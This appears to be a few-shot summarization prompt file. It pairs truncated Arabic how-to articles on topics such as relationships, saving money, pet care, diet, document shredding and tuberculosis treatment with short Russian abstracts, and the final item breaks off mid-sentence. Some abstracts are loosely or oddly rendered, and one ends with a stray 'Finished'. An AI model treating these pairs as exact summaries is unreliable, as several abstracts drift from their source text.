First, read the Arabic article below.

من المعروف أن رجال الجدي يأخذون حياتهم العاطفية بجدية تامة، مثل وظائفهم. ومن هنا، فإن رجلك لن يكون من النوع الخائن غالبًا. بمجرد أن يقع في حبك، سوف يبذل قصارى جهده من أجل الحفاظ على علاقتكما. قد يستغرق رجل الجدي فترة طويلة من الوقت ليفتح قلبه، إلّا أنه بمجرد أن يتخذ قراره بشأنك، اعلمي أنك في علاقة مع رجلٌ مخلصٌ للغاية. يُعرف رجل الجدي بأنه مدمن للعمل وسط باقي البروج الأخرى، فهو يأخذ وظيفته بجدية كبيرة ويعمل لساعات إضافية أحيانًا. كوني مستعدة لذلك واعلمي أن ذلك ليس علامة على فقدانه الاهتمام بالعلاقة، فكل ما في الأمر أنه يأخذ وظيفته بجدية ويريد أن يقدم أفضل ما بوسعه. يبحث رجل الجدي عن الاستقرار، ولذلك يريد من علاقته العاطفية حبيبة مخلصة وجادة. بينما في المقابل، تُقصي الألعاب العقلية ونوبات الضحك الهستيرية رجل الجدي بعيدًا عن العلاقات. إذا أزعجك، أخبريه مباشرةً بما فعله ولماذا يزعجك. يريد رجل الجدي أن يسعدك وعند إخباره مباشرةً بما تحتاجينه أو ما لا يعجبك، سيبذل قصارى جهده للتأكد من عدم إزعاجك بهذه الطريقة مرة أخرى. العلاقة المثالية بالنسبة لرجل الجدي هي العلاقة التي تمد كلا الطرفين بالقوة. ادعميه في مساعيه وسوف يقدم لك الدعم أيضًا. يجب أن يكون لديكِ أهدافك وأفكارك الخاصة للعمل عليها لأنه شخص طموح. تتحقق أفضل علاقة مع رجل الجدي عن طريق توفر الدعم والاستقلالية للطرفين. على الرغم من أن رجل الجدي يكون متحفظًا في العادة في حياته اليومية، إلّا أنه عاشق عاطفي بشكلٍ لا يصدق في غرفة النوم. يعطي رجل الجدي اهتمامًا فائقًا لهذا النوع من التفاصيل، لذا قابلي شغفه بشغفٍ مماثل. ومع ذلك، ضعي في اعتبارك أن رجل الجدي تقليدي إلى حدٍ ما؛ لن يقوم على سبيل المثال بتمثيل دورٍ ما أو ممارسة شيءٍ غريب في غرفة النوم. يعني ذلك مثلًا أن مفاجأته بحفلة عيد ميلاد قد لا تكون فكرة جيدة. كما تعلمت من محاولاتك لجذب اهتمامه، يرتاح رجل الجدي لمجموعة مختارة من الأصدقاء المقربين والعائلة، وعادةً ما يأخذ وقتًا قبل السماح للآخرين بدخول دائرة ثقته. ولذلك السبب، فإن قضاء ليلة في مكانٍ مع أصدقائه المقربين أو قضاء ليلة في المنزل برفقتك أفضل بالنسبة له من الرقص في نادٍ مزدحم أو الذهاب إلى حفلة لا يعرف بها الكثير من الأشخاص.  يكون رجل الجدي ممتنًا بحق إذا توليتِ زمام الأمور في المناسبات الاجتماعية التي تجعله غير مرتاح. اعلمي أن قدرتك على التعاملات الاجتماعية...

Now, please write a short abstract for it in Russian. Abstract:

Доверяйте вашему мужчине. Знайте, что он будет задерживаться на работе допоздна. Сведите драматичность к минимуму. Поддерживайте его, в то же время работая над достижением своей собственной цели. Не забывайте о страсти в спальне. Знайте, что Козероги не любят большие вечеринки. Покупайте ему простые, практичные подарки. Сведите к минимуму ППЧ.


First, read the Arabic article below.

من المعلوم أن أهم شيء من أجل الادخار هو توافر المال الذي ستدخره! سوف يمنحك كسب المزيد من المال مزيدًا من الفرص لادخار المزيد من المال. قد تكون صغيرًا من أجل الحصول على وظيفة تقليدية، إلا أن هناك بعض الطرق التي تستطيع بها كسب المال الإضافي.  مثلًا اتخذ من قص أشجار الجيران مهنة لك في الصيف وجرف الثلج مهنة لك في الشتاء. يمكنك حتى كنس أوراق الشجر في الخريف. اطلب أجرًا نسبيًا يُحدده بناءً على كمية وحجم العمل الذي تقوم به. يمكنك عمل دعاية لنفسك عن طريق عمل منشورات وملصقات ثم اطلب من جيرانك لصقها على أبوابهم.  قدّم خدمة رعاية الحيوانات الأليفة للأصدقاء والجيران. تحتاج الحيوانات الأليفة إلى قدر كبير من الرعاية وسوف يفضل الكثير من أصحاب الحيوانات الأليفة ترك حيواناتهم مع فتى مسؤول عن إرسالهم إلى مؤسسات رعاية الحيوانات الأليفة.  تولّ مسؤولية منزل الجيران عند غيابهم لقضاء العطلات. اعتنِ بحيوانهم الأليف واروِ النباتات وتسلَّم بريدهم. إنها طريقة جيدة لكي تصبح قريبًا من جيرانك وفي الوقت نفسه تكسب القليل من المال الإضافي. قم بإعداد بعض المخبوزات أو أي نوع آخر من الطعام أو العصائر ثم بعها لجيرانك. بِع جهاز ألعابك المستعمل إلى أحد محلات أجهزة الألعاب في مدينتك أو اذهب لبيع ملابسك القديمة لمحلات البضائع المستعملة. إذا كانت لديك معرفة بسوق البيع والشراء عبر الإنترنت، فيمكنك بيع الأعداد القديمة لديك من مجلة ميكي أو مقتنياتك وأجهزتك الإلكترونية القديمة عبر المواقع الإلكترونية الشهيرة والموثوقة. يمكنك أن تقيم مزادًا صغيرًا لبيع أغراضك مرة أو مرتين كل العام. هناك الكثير من الطرق لكسب المال من خلال عرض أحد الأشياء للبيع أو عن طريق المتاجرة في أغراضك القديمة. كن مبدعًا حتى يمكنك تحقيق هدفك المالي. إذا حصلت على بعض المال خلال العطلات أو في عيد ميلادك، احرص دائمًا على ادخار ما لا يقل عن نصف المبلغ. بعض الأسر قد تمنح الأبناء مبالغًا من أجل الدراسة بالجامعة أو مالًا من أجل الادخار على المدى الطويل. ضع تلك الأموال في البنك وليس في حصالتك. تذكَّر مبدأ «البعيد عن العين بعيد عن الذهن». خُذ المبلغ الذي يجب ادخاره وضعه بعيدًا عن متناول يدك في الحال. أقنع نفسك بأنك في عيد ميلادك قد حصلت فقط على ٦٠ جنيهًا وليس ١٢٠ عن طريق «إخفاء» نصف المبلغ سريعًا. ضع جميع الفكة المتبقية من عمليات الشراء اليومية داخل برطمان زجاجي أو حصالة نقود ثم قم بحسابها كل...

Now, please write a short abstract for it in Russian. Abstract:

Выполняйте разовую работу для знакомых и соседей. Продайте свои вещи. Откладывайте деньги, которые вы не заработали. Откладывайте оставшиеся деньги. Поговорите с родителями.


First, read the Arabic article below.

من الملائم استخدام كمية معقولة من السماد عند بدء فصل النمو لتعزيز نمو نباتك (رغم أنه ليس مطلوبًا). سترغب في استخدام جرعات صغيرة من النيتروجين كل بضع أسابيع للأشجار الصغيرة أثناء فصل النمو. وبالمقابل سترغب في استخدام 1كجم من اليوريا أو 15 كجم من الروث (يوضع مرةً واحدة) للأشجار البالغة.  احرص على السقاية جيدًا بعد وضع السماد أيًا كان نوعه، لأنه يمكن أن يكون للسماد آثارٌ ضارةٌ "حارقةٌ" على النبات إذا وضع دون ماء أو استخدمت منه كميةٌ زائدةٌ دفعةً واحدة. ستبدأ أشجار اللوز الحاملة للثمار في إنبات ثمار صغيرة خضراء أثناء موسم النمو، ليست هذه الثمار الصلبة المرة طبقًا شائعًا في العالم الغربي لكنها شبه رائجة في الشرق الأوسط. ستقسو هذه الثمار في الخريف وتتحول للون البني ثم تتشقق منفتحةً ويصبح اللوز جاهزًا للحصاد عندما تصبح قشرة اللوز الخارجية جافةً وبنيةً من الخارج. انظر أدناه لمزيد من المعلومات عن الحصاد.  يوجد نوعان من أشجار اللوز: الأشجار التي تطرح لوزًا "حلوًا" والأشجار التي تطرح لوزًا "مرًا". اللوز المر وثماره ليسا آمنين للأكل لأن اللوز المر يحتوي على حمض البروسي وهو مادةٌ كيميائيةٌ سامة، ويمكن لحفنة من اللوز المر الخام غير المعالج أن تكون قاتلة. رغم ذلك من الممكن معالجة اللوز المر بعملية ترشيح سمية لجعله قابلًا للأكل.

Now, please write a short abstract for it in Russian. Abstract:

Проводите удобрение весной. Собирайте орехи осенью.


First, read the Arabic article below.

من الممكن ألا تظهر على الكلبة أي علامات للحمل في أول أسبوعين-ثلاثة أسابيع (أي في الثلث الأول من الحمل). من المفترض أن تظل شهيتها طبيعية. تعاني إناث الكلاب الحامل من الإعياء االصباحي كما يفعل البشر، رغم ذلك فإن هذا لا يحدث حتى اليوم الحادي والعشرين تقريبًا بعد التزاوج.  أيضًا في اليوم الحادي والعشرين، يمكنك أن تلقي نظرة على لثة كلبتك.  إذا حدث التزاوج، ستتحول لثتها للون الأبيض بدلًا من الوردي الطبيعي. يحدث ذلك بسبب وجود الأجنة في رحمها وتجمع الدم من أنحاء جسمها في هذه المنطقة، لذلك لمدة يوم أو اثنين، تظهر اللثة بلون أبيض. لا داعي للقلق. إذا استمر لأكثر من يومين، اتصل بالطبيب البيطري. يشك بعض الناس في البداية في احتمالية كون الكلبة حاملًا بسبب هدوئها الزائد عن المعتاد، ولكن هذه الملاحظة مبدئية أكثر منها حقيقة مثبتة.يسبب الحمل تغيرًا في معدلات الهرمونات ويؤثر ذلك على كل كلب بطريقة مختلفة. يمكن أن تصبح بعض الكلاب أكثر هدوءًا من ذي قبل، البعض الآخر قد يصبح أكثر محبة وتعلقًا، بينما يظل هناك آخرون ممن يفضلون الانسحاب والعزلة. بينما يمكن أن يشير التغير في مزاج أو سلوك الكلبة إلى الحمل، يعد ذلك علامة غير واضحة قد تدل على مرضها. لذلك، يجب أن تراقبها عن كثب بحثًا عن أي أعراض لإعيائها مثل فقدان الشهية، أو القيء، أو الإسهال، أو السعال، أو العطس، أو إفرازات مهبلية. إذا تزاوجت كلبتك ومن ثم أعرضت عن الطعام في الأيام أو الأسابيع التالية لذلك، من غير المحتمل أن يكون لذلك علاقة بالحمل وينبغي أخذها لطبيب بيطري. هذا هو ما ينبغي فعله أيضًا إذا لاحظت إفرازات مهبلية (ذلك غير طبيعي في الحمل) أو إن كانت تتقيأ بانتظام.

Now, please write a short abstract for it in Russian. Abstract:

Проявляйте терпение. Понаблюдайте за возможными изменениями в поведении. Присмотритесь, нет ли других признаков, свидетельствующих о болезни.


First, read the Arabic article below.

من الممكن أن تحصل على المواد الغذائية التي تحتاجها كاملًة عند اتّباع الحمية النباتية مع أكل منتجات الألبان والبيض، لكن كما الحال مع أي خطة وجبات، يجب أن توازن بين الأطعمة التي تتناولها.  أفضل طريقة لفعل ذلك هي عبر تناول أنواع مختلفة من الفواكه والخضروات، والبقوليات (الفول والعدس)، والأجبان، والزبادي، والحبوب (القمح، الرز، الشوفان، إلخ.)، والأطعمة الأخرى. هذا يضمن لك الحصول على المواد الغذائية المناسبة وتجنّب أي نقص فيتامينات أو معادن.  كمية الأطعمة المحددة التي تحتاجها تختلف على أساس مستوى السعرات الحرارية التي تحتاجها وفقًا لسنك، ومستوى نشاطك، إلخ. استشر طبيب أو اخصائي تغذية إذا كان لديك أي مخاوف. يعد البروتين، الذي يحتاجه الجسم لأداء وظائفه والنمو، أساسيًا. كنباتي آكل لمنتجات الألبان والبيض، يمكنك الحصول على ما تحتاجه من البروتين بتناول أطعمه كالفول، المكسرات، ومنتجات الصويا، بجانب منتجات الألبان والبيض. تضمن الطرق الجيدة للحصول على البروتين (وفقًا لحمية 2200 سعرة حرارية لليوم): عجة مصنوعة من 4 بياض بيض، 2 بان كيك بحجم 10 سم ببياض البيض، أو ½ كوب فول مطبوخ. المشكلة التي تواجه أغلب النباتيين هي الحصول على قدر كافي من البروتين. راقب مقدار البروتين الذي تحصل عليه واضبط الأمر على هذا الأساس. يمكن أن يحصل النباتيون الآكلون لمنتجات الألبان والبيض على الكالسيوم اللازم للعظام والأسنان من أشياء أخرى بجانب منتجات الألبان، كحليب الصويا، وحبوب الفطور، والخضروات الورقية الداكنة، وبعض الأطعمة الأخرى. منتجات الألبان المعززة وصفار البيض توفر فيتامين د اللازم. تضمن الطرق الجيدة للحصول على فيتامين د (وفقًا لحمية 2200 سعرة حرارية في اليوم): ½ كوب حليب قليل الدسم، 30 جم جبن قليل الدسم، أو 1 كوب خضروات ورقية. تضمن الطرق الجيدة للحصول على الحديد (وفقًا لحمية 2200 سعرة حرارية في اليوم): ½ كوب فول مطبوخ، أو شريحة خبز قمح كامل، أو كوب سبانخ غير مطهية، أو ¾ كوب حبوب فطور معززة باردة. تناول مكمل فيتامينات متعددة ومعادن متعددة يوميًا (لكن هذا ليس ضروريًا، إلا إذا كنت تجري في ماراثون كل يوم). يمكن للنباتي الآكل لمنتجات الألبان والبيض الحصول على الزنك من حبوب الفطور المعززة، العديد من أنواع الفول، بذور اليقطين، والحمص، وجنين القمح، ومنتجات الألبان، وغيرها. تضمن الطرق الجيدة للحصول على الزنك (وفقًا لحمية 2200 سعرة حرارية في اليوم): ½ كوب...

Now, please write a short abstract for it in Russian. Abstract:

Ешьте порции достаточного объема. Ешьте достаточно белка. Убедитесь, что вы употребляете достаточно витамина D. Ешьте достаточно железа. Не забудьте о цинке. Убедитесь, что вы потребляете достаточно витамина B-12. Определите, получаете ли вы достаточно йода. Употребляйте в пищу продукты, богатые омега-3 жирными кислотами.


First, read the Arabic article below.

من الممكن تجاوز أي نوع من الإحباط (سواء كان جسديًا أو غير ذلك) عن طريق النشاط البدني. فممارسة رياضات مثل ملاكمة الركل أو الفنون القتالية بشكل خاص ستكون مفيدة في هذا الأمر، حيث ستملأ وقتك وتأخذ عقلك بعيدًا إلى مناطق أخرى، كما ستؤدي لزيادة إفراز الأدرينالين داخل جسمك، مما يعد بديلًا صحيًا. إن أي رياضة تعتبر مفيدة، بما في ذلك ممارسة اليوجا وتدريبات الأثقال وتمارين الكارديو. إنها ليست فقط مفيدة لك ذهنيًا لكنها مفيدة بدنيًا أيضًا. إن لم تكن واحدًا من أولئك المهووسين بالرياضة واللياقة البدنية، فابحث عن بعض الهوايات والأنشطة الفنية كوسائل للتنفيس. يمكن لتلك الأنشطة أن تكون وسائل جيدة لتهدئتك والترويح عنك: حيث يمكن  للحدّ من التوتُّر والقلق أن يؤدي بدوره إلى الحدّ من الشعور بالإحباط. فكلما قلَّ إحساسك بالضغط تجاه أمور حياتك كلما ازداد معه شعورك بالهدوء حيال الإحباط. فكِّر مثلًا في الرسم، الطبخ، المشرعات المنزلية، صناعة الشمع واللفخَّار، تعلُّم آلة موسيقية، النجارة والأعمال الخشبية، أو أي هواية أخرى تعجبك ومن الممكن أن تنهمك بها، إلى جانب أنك هكذا ستُصقِل لديك موهبة! في يومنا هذا ومع ذلك القدر من التطور التكنولوجي أصبحت العلاقات العاطفية عن بعد أسهل كثيرًا مما كانت عليه في السابق. إن كنت تعاني من الإحباط الجنسي لأن شريكك بعيد عنك فاستخدم سكايب أو فيس تايم أو حتى قُم بتبادل الرسائل الجنسية مع حبيبك، بالطبع سيكون الأمر مختلف عن الحقيقة، إلا أنه سيساعد بالتأكيد. هناك من الناس من لا يرتاح لفكرة الجنس عبر الهاتف أو لأي شىء آخر من هذا القبيل، وبالتالي ستحتاج لتمهيد ذلك الأمر لشريكك ببطء، ابدأ بخطوات بسيطة أولًا كإخباره كم تشتاق له وكم تودّ ملامسته، ثم تابع كيف سيتطور الأمر من هنا.

Now, please write a short abstract for it in Russian. Abstract:

Займитесь спортом. Займитесь творчеством или найдите другое спокойное хобби. Воспользуйтесь преимуществами современных технологий.


First, read the Arabic article below.

من الممكن تجميد مسحوق البودرة المكسور باستخدام الضغط فقط، لكنه هشًا للغاية. لذلك سوف تساعد حرارة المكواة على تجميد المسحوق أكثر وجعله أشد قوة.  حيث إن هذه الطريقة لا تنطوي على استخدام الكحول المحمر، فهي آمنة ومناسبة للبشرة الحساسة.  تُباع معظم مساحيق بودرة الوجه في وعاء معدني موضوع في علبة بلاستيكية. تأكدّي أن بودرة الوجه التي لديك بها هذا الوعاء المعدني. يمكنك استخدام أي شيء قاسٍ، مثل خلة أسنان أو شوكة. قد يبدو ذلك وكأنكِ تزيدين الأمر تعقيدًا ، لكن باستخدامك هذه الطريقة سوف تحصلين على بودرة وجه أكثر نعومة في النهاية. تأكدي أنكِ أفرغتِ محتويات علبة البودرة بالكامل. إذا وجدتِ حاجة لذلك، استخدمي خلة أسنان أو طرف شوكة للتخلص من المسحوق العالق في الأركان. فسوف تقومين بسحق البودرة أكثر بداخل الكيس البلاستيكي. إن أسهل طريقة للقيام بذلك هي ببساطة الضغط على المحتويات لأسفل باستخدام الجانب المسطح لشوكة طعام. يمكنك استخدام أي أداة ترغبين بها حتى وإن كانت ملعقة. تأكدي من عدم وجود أي تكتلات أو قطع لم تنكسر حيث إن المسحوق يجب أن يكون ناعمًا جدًا. إذا تركت أي تكتلات أو قطع، سوف تحصلين في النهاية على بودرة محببة. تُباع معظم مساحيق بودرة الوجه في وعاء معدني يتم لصقه في علبة بلاستيكية. سوف يكون عليك جذب هذا الوعاء المعدني قبل الانتقال إلى الخطوة التالية. إن أسهل طريقة للقيام بذلك هي دسّ سكين صغير تحت طرف هذا الوعاء، ثم خلعه أو دفعه للخارج. إذا لم تقومي بجذب الوعاء المعدني للخارج، قد تُعرّضين العلبة البلاستيكية للانصهار. افتحي الكيس البلاستيكي القابل للإغلاق بسحاب وأفرغي محتوياته في الوعاء المعدني. لا تقلقي إذا سكبت بعض المسحوق بالخارج. ضعي الوجه المقوس من الملعقة على المسحوق واضغطي عليه لأسفل إلى أن يصبح صلبًا. ابدئي بحواف المسحوق واستمري حتى الوصول إلى الوسط. حاولي عدم دفع أجزاء المسحوق خارج الوعاء. يجب أن يكون المسحوق مستقرًا بداخل الوعاء المعدني عند الانتهاء،. عند هذه المرحلة، قد تبدو البودرة بحالة جيدة مثل الجديدة، لكنها ما زالت هشة للغاية ويمكن أن تنكسر مرة أخرى عند أخفّ صدمة، لذلك يجب أن تقومي بتجميدها أكثر باستخدام الحرارة. يجب أن تكون المكواة الآن ساخنة بما يكفي، لذلك أطفئيها وافصلي التيار. هذه خطوة في غاية الأهمية حيث ستضمن عدم وصول أي مياه إلى البودرة، والذي قد يؤدي إن حدث إتلافها. تأكدي من عدم تشغيل خيار البخار في...

Now, please write a short abstract for it in Russian. Abstract:

Включите утюг и установите на нем максимальный нагрев. Раскрошите пудру, чтобы вынуть ее из емкости. Пересыпьте разбитую пудру в пакет с застежкой зип-лок и закройте. Раскрошите пудру в пыль. Выньте металлическую емкость для пудры из пластиковой пудреницы. Пересыпьте пудру обратно в металлическую емкость. Утрамбуйте пудру ложкой. Отключите утюг. Прижмите утюг к емкости с пудрой на 15 секунд. Приподнимите утюг, подождите несколько секунд и снова опустите на пудру на очередные 15 секунд. Позвольте пудре остыть, а затем приклейте металлическую емкость с пудрой на свое место в пудренице. Finished


First, read the Arabic article below.

من المهم أن تتأكد من أن سياجك لن يكون مخالفًا للقانون قبل أن تبنيه! يمكن أن ينهار عملك المُجِدُّ بأكمله إذا كان هناك أي قيودٍ على الأسيجة في حَيّك أو مدينتك. راجع قسم التخطيط المحلي ورابطة الحي قبل أن تتقدم كثيرًا في العملية. تتطلب معظم المدن تصريح بناءٍ لوضع سياج. هذا للمساعدة في الحفاظ على سلامتك! يتم دفن العديد من خطوط الكهرباء والغاز وأنابيب المجاري بالإضافة لأنابيب المياه عند المستويات التي ستحفر عندها. عليك أيضًا أن تحصل على إذنٍ من خلال حضور شركات المرافق المحلية إلى الموقع وتحديد أي مناطق تقع بيها الأنابيب والأسلاك. سيساعد هذا على ضمان أمان مشروعك. سترغب في التأكد من استخدامك لخشبٍ سيبقى لفترةٍ طويلةٍ، أليس كذلك؟ قد يبقى السياج الخشبي لمدة عشرين عامًا أو أكثر إذا استخدمت أفضل الأخشاب وعاملته بشكلٍ جيد، لكن اختيار الخشب الخاطئ قد يجعل عمر سياجك خمس سنواتٍ فحسب. استشر مكان بيع الخشب المحلي لإيجاد أفضل الأخشاب لمنطقتك لكن الأخشاب المُعَالَجَة هي أفضل خياراتك عادةً. هناك العديد من الأنماط المختلفة للأسيجة الخشبية لذا ابحث قليلًا قبل أن تبدأ حتى لا ينتهي بك الأمر نادمًا! هناك الوتد والشبكة والمقعر والمحدب ولوحٍ فوق لوح وصندوق الظل والخصوصية والعديد من الأنماط الأخرى بالكثير من التنوع في كل نمطٍ منها. لكل نمطٍ أيضًا متطلباتٌ خاصةٌ في كيفية بنائه وكيف يجب وضع الألواح.  هذه المقالات عامةٌ ويمكن تطبيقها على نطاقٍ واسعٍ على العديد من أنماط الأسيجة لكنك قد ترغب في إيجاد تفاصيلٍ عن نمط سياجك لتكمل هذه التعليمات.

Now, please write a short abstract for it in Russian. Abstract:

Для начала ознакомьтесь с местными ограничениями. Подайте заявление на разрешение. Выберите материалы. Определитесь со стилем.


First, read the Arabic article below.

من المهم أن تذكر اسمك الثنائي إذا كنت تلقي خطابًا. تذكر أن تتحدث بوضوح وبثقة وأنت تبدأ حديثك أمامهم. قُل/قولي: "صباح الخير، أنا زكريا إسماعيل"، أو "كيف حالكم اليوم؟ اسمي ناردين عصام". بعد تعريفهم باسمك، تحدث عن علاقتك بموضوع الخطاب وتأكد أن توصل مصداقيتك من خلال حديثك. يتوقّف نوع المعلومات التي ستخبر بها الجمهور على الموضوع الذي ستتحدث عنه. إذا كنت ستلقي خطابًا عن أهمية تناول أطعمة عضوية، أخبرهم أنك عالم أو شيف أو خبير بيئي. إذا كنت تلقي خطابًا عن تنمية الأطفال، تأكد أن تذكر في كلامك أنك طبيب نفسي أطفال.  تحدث عن أية معلومات أخرى لها صلة بالموضوع. يمكنك على سبيل المثال أن تتطرق لشرح مختصر لخبرتك الموثوقة. "اسمي نسرين فهمي وأنا أستاذة العلوم البيئية في جامعة الإسكندرية. بعد أن أجريت بحثي عن تأثير تلوث مياه النيل على البيئة، أدركت مدى أهمية نشر طرق لحماية هذه الأرض". من أول بدء تحدثك، تأكد أن يكون صوتك مرتفعًا بما يكفي ليسمعك الجميع. لا تغمغم، بل انطق حروفك بوضوح. يمكنك حتى أن تسأل الجمهور ما إذا كنت تتحدث بصوت مرتفع يمكنهم جميعًا سماعه. لن يتمكن الناس من فهمك أو احترام ما تتحدث عنه إذا لم يكُن بإمكانهم أن يسمعوك. قف بهيئة معتدلة، وتحرك على راحتك فيما تتحدث. قف منتصبًا و أرجِع كتفك للخلف وتجنب أن يكون محدوبًا، ولا تضع يديك في جيبك أو تشبكهما بل اتركهما حرتين واستعملهما لتشير بهما متى لزم الأمر. إذا لم تكن ملزمًا بالوقوف وراء منصة، تمشّى في المكان لتُظهر للجمهور مدى ارتياحك ولكي لا تبدو رسميًا أكثر من اللازم.

Now, please write a short abstract for it in Russian. Abstract:

Поприветствуйте аудиторию и назовите свое имя. Поделитесь чем-то о себе. Ваша речь должна произвести эффект на слушателей. Двигайтесь.


First, read the Arabic article below.

من المهم أن تستخدم ماكينة تمزيق الأوراق العرضية حين يتعلق الأمر بتمزيق المستندات السرية (بعكس تشريط الورق الأكثر بدائية)، لأنها تنتج شرائط أرفع من الورق. تحميك بذلك من اللصوص الذين سيحاولون إعادة تجميع الأوراق. اختر ماكينة ينتج عنها شرائط أقل أو تساوي 0.8 ميلليمتر بقطع عرضي يساوي 1.25 سم.   يمكن شراء آلات تمزيق الأوراق من أي متجر لبيع الأدوات المكتبية، ويتم تصنيفها إلى ست مراحل آمان متوقفة على سمك شرائح الورق الناتجة. تعتبر المرحلة الأولى هي ذات القطع الأكثر اتساعًا والمرحلة السادسة هي الأكثر رفعًا والمعتمدة للمستندات الحكومية الأكثر سرية. لا ينصح بأي مرحلة أقل من 4 (1/16*5/8") لأجل المستندات السرية.   تحتوي معظم المكاتب على آلات تقطيع الأوراق أو خدمات إتلاف السجلات. تفقد مدير مكتبك واساله إن كان بإمكانك إحضار مستنداتك الخاصة لأجل إتلافها. ابدأ إدخال المستندات كلها في فتحة الآلة، ما إن تحصل على آلة تمزيق أوراق جيدة. استكمل تقطيع المستندات حتى تنتهي منها جميعًا. تأكد من أن تخرج بقايا الورق المتقطعة قبل الاستكمال، إن كانت كمية الأوراق التي لديك أكبر من أن تتعامل معها الآلة في مرة واحدة.   لا تسمح بأن تتصل يدك أو أصابعك اتصالًا مباشرًا مع فتحة آلة تقطيع الأوراق. امسك المستندات من نهايتها بحيث يكون هناك مسافة بينك وبين فتحة الآلة. أفلت المستندات ما إن تبدأ الآلة في إتلافها. احرص على حماية يديك، فهذه هي الأولوية. لن تمنع آلات إتلاف الأوراق التقليدية (التي تقطع الأوراق إلى شرائح) أي أحد من إعادة تجميع الأوراق مرة أخرى ولا يفضل تقطيع الأوراق بيديك أيضًا، خاصة المستندات الصغيرة (تحتاج فقط إلى 2 سنتيمتر من الورق لإيجاد رقم الضمان الاجتماعي لشخص ما). يمكنك أن تقوم بخطوة أخرى للأمان بعد أن تقوم بتقطيع الأوراق إلى قطع صغيرة لا يمكن إدراك التفاصيل بداخلها. خذ كل قطعة من المستند وضعها في حقيبة مستقلة. لن يجد أي لصوص بتلك الطريقة قطع المعلومات التي يحتاجون إليها في نفس الحقيبة، وسيحتاجون إلى البحث عبر كل الحقائب. لا تضع الحقائب في القمامة يوم الأربعاء، إن كان عمال القمامة يقومون بجمعها يوم الثلاثاء من منزلك أو عملك. يجب أن تدع أقل وقت ممكن ما بين تركك للحقائب في سلة القمامة، وقيام العمال بجمع تلك القمامة. ينبغي كتصرف مثالي أن تبقي تلك الحقائب داخل منزلك حتى يأتي يوم جمع القمامة، ثم تضعها في سلة القمامة قبل أن يأتي عمال جمع...

Now, please write a short abstract for it in Russian. Abstract:

Получите доступ к шредеру с перекрестной резкой. Измельчите документы в шредере. Разложите клочки бумаги по разным пакетам. Выбросьте остатки документов в назначенный день.


First, read the Arabic article below.

من المهم أن تستشير طبيبك على الفور إذا كنت قد تعرضت مؤخرًا لشخص مصاب بالسل النشط وتعتقد أن هناك احتمالًا لإصابتك بالمرض. هناك طريقتان لفحص السل:   فحص الجلد: يتطلب فحص الجلد من السل حقن محلول بروتيني بعد الاتصال مع المصاب بفترة تتراوح بين 8 و10 أسابيع. لابد أن يراجع المريض الطبيب بعدها بيومين أو ثلاثة لتفسير التفاعلات الجلدية.  تحليل الدم: ليس شائعًا كفحص الجلد إلا أنه يتطلب زيارة واحدة للطبيب واحتمالات إساءة تفسير المختص له قليلة، وهو الخيار اللازم لأي شخص تلقى لقاح بي سي جي لأن اللقاح قد يتداخل مع دقة فحص الجلد. سيكون عليك الخضوع لمزيد من الفحوص إذا كانت نتيجة الفحص موجبة وسيكون على المختص تحديد ما إذا كنت مصابًا بالسل الكامن (غير المعدي) أو النشط قبل الانتقال لمرحة العلاج. قد تشمل الفحوص أشعة إكس على الصدر وفحص البلغم. يجب أن تستشير الطبيب بشأن أفضل مسارات العلاج إذا كانت نتيجة فحص السل الكامن موجبة.   رغم أنك لن تشعر بالاعتلال عند إصابتك بالسل الكامن وكونه غير معد إلا أن الطبيب سيصف لك دورة من المضادات الحيوية لقتل بكتيريا السل الخاملة ومنع تحوله لمرض نشط. العلاجان الأكثر شيوعًا هما: تناول آيزونيازيد يوميًا أو مرتين في الأسبوع ومدة العلاج 6 أو 9 أشهر، أو تناول ريفامبين يوميًا لأربعة أشهر لمن لا يتحملون آيزونيازيد. من الضروري أن تبدأ العلاج في أسرع وقت ممكن إذا كانت نتيجة فحص السل النشط موجبة.   تشمل أعراض السل النشط السعال والبلغم والحمى وفقدان الوزن والإرهاق والتعرق الليلي والقشعريرة وفقدان الشهية. يمكن علاج السل إلى درجة بعيدة في الوقت الحاضر بمجموعة من المضادات الحيوية لكن فترة العلاج قد تكون طويلة وتتراوح عادة بين 6 إلى 12 شهر. تشمل أكثر أدوية علاج السل شيوعًا: الآيزونيازيد والريفامبين (ريفادين وريماكتين) وإيثامبوتول (ميامبوتول) وبيرازيناميد. عليك تناول مجموعة من هذه الأدوية غالبًا في حالة السل النشط خاصة إذا كنت مصابًا بسلالة مقاومة للعالج على نحو خاص. يجب متابعة المرضى المقاومين للآيزونيازيد والريفامبرين لعامين بعد العلاج. يفترض أن يبدأ شعورك بالتحسن في غضون أسابيع وألا يكون المرض معديًا إذا اتبعت خطة العلاج بدقة، لكن من الضروري أن تتم دورة العلاج وإلا سيظل السل في جسمك وربما يصبح أكثر مقاومة للأدوية.

Now, please write a short abstract for it in Russian. Abstract:

Сдайте анализ на туберкулез, если вы были в контакте с больным туберкулезом. Немедленно начните лечение латентной формы туберкулеза. Немедленно начните лечение открытой формы туберкулеза.


First, read the Arabic article below.

من المهم أن تضعي في اعتباركِ الدور الذي قد يلعبه الواقي الذكري في الوقاية من الأمراض المنقولة جنسيًا بالإضافة لمنع الحمل قبل اتخاذ قرارك باستخدامه. لا تساهم وسائل منع الحمل الأخرى في الوقاية من الأمراض المنقولة جنسيًا مثل المنتجات الهرمونية لتنظيم النسل حتى لو كنت تستخدمينها، لذا تصبح هناك مزيةٌ مهمةٌ للواقي الذكري عندما يتعلق الأمر بممارسة الجنس الآمن. يحميكِ الواقي الذكري من الأمراض المنقولة جنسيًا بتقليل اتصال الأعضاء التناسلية مع بعضها البعض وكذلك بمنع السائل المقذوف من قضيب الرجل من دخول مهبل المرأة. يمثل نوعا الاتصال هذين طرقًا لنقل العدوى من شخصٍ لآخر. ستعرف ما إذا كانت زوجتك تستخدم وسائل بديلةً لتنظيم النسل مثل تناول الأقراص أو استخدام اللولب إذا كنت في علاقةٍ زوجية أحاديةٍ ملزمةٍ طويلة المدى حيث ستكون قد أسست علاقة ثقةٍ معها وعلى الأرجح ناقشت أفضل خطط منع الحمل لكليكما، رغم ذلك من المهم أن تتفهم أن الواقي الذكري قد يكون أحد أكثر الطرق الموثوقة لمنع الحمل إذا كنت لا تعرف زوجتك بما يكفي لتثق بها تمامًا بعد.  لن تتأكد أبدًا إذا ما كانت زوجتك ملتزمةً بتناول أقراص منع الحمل (أو أي وسيلةٍ أخرى لتنظيم النسل) والاعتماد على ذلك إذا كنت رجلًا. من المحتمل ألا تكون المرأة صادقةً حيال استخدام وسيلة تنظيم النسل بينما تحمل عن قصدٍ وإرادة. قد يكذب الرجل على المرأة بطريقةٍ مشابهةٍ بشأن إجرائه لقطع القناة الدافقة بينما في الحقيقة 